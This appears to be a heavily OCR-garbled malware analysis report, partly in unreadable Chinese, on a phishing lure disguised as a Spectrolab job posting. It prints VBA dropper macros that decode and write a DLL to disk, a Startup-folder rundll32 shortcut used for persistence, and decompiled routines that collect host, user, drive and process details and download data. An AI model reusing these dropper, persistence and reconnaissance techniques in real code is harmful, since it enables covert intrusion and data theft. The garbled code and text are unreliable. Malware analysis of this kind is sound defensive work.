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Function GetDocName () A=z String

Cn Error Resume Next

strDocTag = " .doc"
curDocNameFull = ActiveDocument.Path & "\" & RctiveDocument.Name
curDocHame = Left (curDocHNameFull, InStrRev{curDocMamseFull, ".") - 1)

newDocHameFull = curDocName & strDocTag

Do While FileExist (newDocHameFuall)
curDoclame = curDocHame & " "
newbDocNameFull = curDocName & strDocTag

Loop

GetDocHame = newDocHNameFull

End Function

Function GetDllName () &s String

On Error Eesume Next
Dim dllPath Az String
workDir = Environ("UserFrofile™) & "“L YWHotice™
If HNot FolderExist(workDir) Then
MkDir (workDir)

End If
binName .db"
binDir
dllPath = workDir & """ & binName
nIdx = 0
Do While FileExist (dllPath)
workDir = workDir & "\" & binDir

If Hot FolderExist (workDir) Then
MkDir (workDir)
End If
dllPath = workDir & "\" & binName
Loop

GetDllName = dllFath

End Function
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JFunction Base64DecodeTloString(ByVal vCode)
On Error Resume Next

Dim oXML, oNode
Set oXML = CreateObject ("Msxml2.DCMDocument.3.0")
Set oNode = oXML.CreateElement ("base&4™)
oNode.dataType = "bin.basesd"

oNode.Text = vCode

Base64DecodeToString = Stream BinaryToString(oNode.nodeTypedValue)

Set oNode = Nothing
] Set oXML = Nothing
End Function

JSub ExtractDll(dllPath)

Cn Error Resume Next

Set objStream = CreateCbject ("ADODE.Stream")
objStream.Type = 1
: objStream.Open
J#If Winé4 Then

objStream.Write ToBinary (
J#Else

- objStream.Write odeToBinary
J#End If

objStream.SaveToFile dllPath, 2
- Set objStream = Nothing
End Sub

JSub ExtractDoc(docPath)
On Error Resume Next

Set objStream = CreateCbject {"ADODS.Stream")
objStream.Type = 1
ob3iStream.Open
objStream.Write odeToBinary (
objStream.SaveToFile docPath, 2

g Set objStream = Nothing

End Sub
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Program Manager)

Job ID: 00000171273

Date posted: 03/05/2020
Location: Los Angeles, California
Company: Spectrolab, Inc.

Job Description:

Project Management Specialist (Experienced

Spectrolab, Inc., a wholly-owned subsidiary of The Boeing Company, Is the industry leader in high
performance photovoltaic and ilumination products. Be a part of our passionate and highly-motivated
team who s excited to be at the forefront of providing innovative, affordable and enduring space and
airborne products.

s the world's leading merchant supplier of high-efficiency, multiunction solar cells, and
panels for spacecraft power systems with proven reliability drawn from six decades of space heritage.
‘Spectrolab's state-of-the-art space solar cells and panels power satelltes in Earth's orbit, as well as, the
Intenational Space Station. Since its founding in 1956, Spectrolab has led the way in the development of
high-efficiency solar cells for space missions. Spectrolab airbome searchiights have been the industry
standard since 1968.

As a Project Management Specialist (Experienced Program Manager). you wil join our Programs &
Business Development group providing technical, business, and integration leadership for the
development and execution of photovoltaic and/or illumination projects at our manufacturing facliity in
Sylmar, California.
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onenote.db (32) 11FDCOBE9D85B4FF1FAF5CA33CC272ED

onenote.db (64) F4B55DA7870E9ECD5F3F565F40490996

wsuser.db (32) F6D6F3580160CD29B285EDF7D0C647CE

wsuser.db (64) 2B02465B65024336A9E15D7F34C1F5D9

BHAEEdIThEE T AEA—3 , XERlonenote.db(32(%) 461 , HERWSUSE RIAT 4 |, "S-6-38-4412-76700627-315277-3247",
"18" B E S 4 eRi#CoContentlnfo,

LoadLibrarys (dllPath)

a = CoContentInfo(orgDocPath, eRRet-Ertuibray ol sirb bbbl - )
Dim objDochpp

S5et objDocApp = CreateCbhject ("Word.application™)

objDocipp.Visikle = True

objDocApp . Documents . Open docPath

Application.Quit (wdDoNotSaveChanges)

SR INERE ST | B SRR EARR A AR

DWORD _ stdcall sub_18e@6BC7(LPVOID lpThreadParameter)
1

CHAR FileName; // [esp+4h] [ebp-1858h]

char v3; // [esp+5h] [ebp-187h]

FileName = @;

memset (&v3, 8, Bx183u);

if ( !1pThreadParameter )
return @;

sub_18885EBB(&FileName, (int)}lpThreadParameter});

while ( sub_18@6BBEE(&FileNams=, @) != @xFFFFFFFF )
DeleteFileA(&FileName);

return 1;

}

2 JaFIFBrundli32.exe A5 %1S-6-38-4412-76700627-315277-3247 0 0 18 1/N# onenote.dbIF A AR SR CMS_Contentinfo , E1EREN
B3X T eliEonenote. Ink A FSREIF A 44

sub_18B@5F89(

Bx288u,

&CommandLine,

"Co\\Windows \\System32\\rund1132. exe \"¥s\", CMS_ContentInfo %s @ @ %s 17,

&Filename,

lpstring,

v6); |
sub_ 16606984 (&CommandLline, (int)&vS);
sub_18@885F89(@x200u, &v9, "\"%s\", CMS_ContentInfo %s @ @ #s 1", &Filename, lpString, ve);
sub_10BGABG(&.0);
return 1;
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OU [0« Local Disk () » Users AppData » Roaming » Microsoft » Windows » StartMenu » Programs » Startup

43 ][ search startup

o]

Organize v [ Open  Sharewith v New folder

% Favortes Neme Dete modified Type Size
B Desktop ] onenote 4/26/2020223PM__ Shortcut 2k8
Downloads r )
ot ] onenote Properties ==
%] Recent Places
[ secuty | Detsls | PreviousVemsans |
4 Libraries General Shottout Compatiity
[ Documents
& Music @J anencte
&) Pictures
H videos Targettype:  Application

Target location: System32

1% Computer Target: ndI32.exs "onencte.db”. CMS_Contentinfo 5-6-3

c e
M Network Stattin C:\Windows'System32

Shotcutkey:  None

Run
Commet OneNote
[ Open Fie Location | [ Change leon... | [ Advanced... |

] onencte Date mod
Shorteut
0K Cancel Apply.

FIArundl32.exen# 2k onenote. db¥iE FICMS_Contentinforki%k , B E SN , BEAFERSEANIAILE, , ML IEFERF

if ( lstrlenW(lpString) )

phumfrgs = @;
v4 = CommandLineToArgvW(lp5String, &pNumArgs);

e e
=)

if ( pNumargs == 5 }

sub_1eees7Bs(exledu, *v4, RString);

if ( lstrlenW(&String) == @x2@ )

1
sub_1@eEs57BE(Ax184u, v
sub_1@@e57B8(@x184u,
sub_186857B8(ex184u,
sub_186857B8(@x184u, vS[4], &
dword_18@a2CeC = _wtod(&vid);

wideCharToMultiByte(@x1B5u, @, R&String, BxFFFFFFFF, &ultiBytestr, @xle4, @,

vE = LocalAlloc(Bx48u, 8x26u);
if (ve )

sub_18ee4F33(ve, ex28u, &MultiBytestr);
CreateThread(@, @, StartAddress, ve, @, @);
Sleep(@xFFFFFFFF);
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Buffer = @;
memset(&vE, B, Bw1FEuU);

vE = B3
memset(&vE, @, @x1FEuU);
Vi o= B

memset (&v4, @, Bx1FEu);
nsize = @x106;
GetComputerNameW(&Buffer, &nSize);
nsize = @x166;
GetUserNameW (&S, &nSize);
sub_ 18086160 (&3);
vz = LocalAlloc(@x48u, @x30808u);
if ( ve )
1

sub_1e@asFDE();

result = sub_1888581C(L"%¥s \\ Es\r\n\r\n¥s¥s", &Buffer, &5, &3, vB);
b

else

{
result = sub_18@8581C(L"%s \\ Zs\rin\r\n¥s", &Buffer, &v5, &v3);

3
if ( ve )

result = LocalFree(ve);
return result;

b
BHHE  RRHARATESER

va = GetlogicalDrives();
vlo=2;
do

IF ( ((vo 3> vi) 1) == 1)
{

RootPathame[@8] = w1 + 8x41;
v2Z = GetDriveTypeW(RootPathName) - 2;
i (v )
{
V3= v2 - 1;
if (vi)

v = v3 - 1;
if (e )
{
if (va==1)
5 = &unk_10087610;

else
v5 = Bunk_10@8761C;

else

v5 = Bunk_10087614;

else
v5 = &unk_1088768C;

}

else

{

v5 = &unk_18837618;

sub_188857B3(8x4Bu, 5, &14);
TotallumberOfFreeBytes.QuadPart = @i64;
TotalllumberOfBytes.QuadPart = 8i64;
GetDiskFreeSpaceExW(RootPathName, &FreeBytesAvailableToCaller, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
sub_1008581C(
L"%s\t¥s\t¥%dGB Fr OF ¥dGB\r\n",
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memset(&pe, @, @x22Cu);
pe.dwSize = 8x22C;
result = CreateToolhelp32Snapshot(@xFu, @);
hObject = result;
if ( result != @xFFFFFFFF )
{
result = Process32FirstW(result, &pe};
if ( result )

do
{

memset{&vs, @, @x288u);

if { hSnapshot != @xFFFFFFFF )

1
memset(&re.th32ModuleID, B, Bud24u);
me.dwsize = Bx428;

CloseHandle(hSnapshot);
¥

sub_ 18G8SEEF(@x48688u, al, &vE);
sub_1@B@SEEF (@x48888u, al, L"\r\n");
memset{&pe, @, 8x22Cu);

pe.dwSize = @x22C;

while ( Process32NextW(hObject, &pe) };
result = CloseHandle(hObject);
}
b

return result;

REHREINEELAEFSc2B(E , REUFEHIT

~remep -
if ( HttpQueryInfouw(vé, @x20008885u, &v13, &dwBufferlength, @) )
if ( vi3 <= ex120001 )

w7 = @;
iF (113 )

ABEL_13:
*al = v13;
return 1;

}
while ( 1)

dwhumberofBytesAvailable = @;

if ( Module32FirstW(hSnapshot, &me) )
sub_168857B8(0x184u, me.szExePath, &vi);

hsnapshot = CreateToclhelp3Zsnapshot(Bu, pe.th32ProcessID);

sub_1@BBSEEF(@x48880u, al, pe.szExeFile);
sub_1@@BSEEF(@x40000u, =1, Zunk 18@375F3);

if ( !InternetQueryDatadvailable(*(v2 + @xC), &dwNumberOfBytesAvailable, @, @) )

break;

if ( !'dwNumberOfBytesAvailable )
break;

if ( dwhumberOfBytesAvailable + v7 > v13 )
break;

if ( 8x120001 - v7 < dwNumberOfBytesAvailable )
break;

wvE = *(v2 + 8xC);

dwhumberofBytesRead = dwNumberOfBytesAvailable;

if ( !InternetReadFile(vad, (v7 + al), dwNumberOfBytesAvailable, &dwlumberOfBytesRead)

break;
w7 += dwhumberOfBytesRead;
if (w7 o= wis )

goto LABEL_13;
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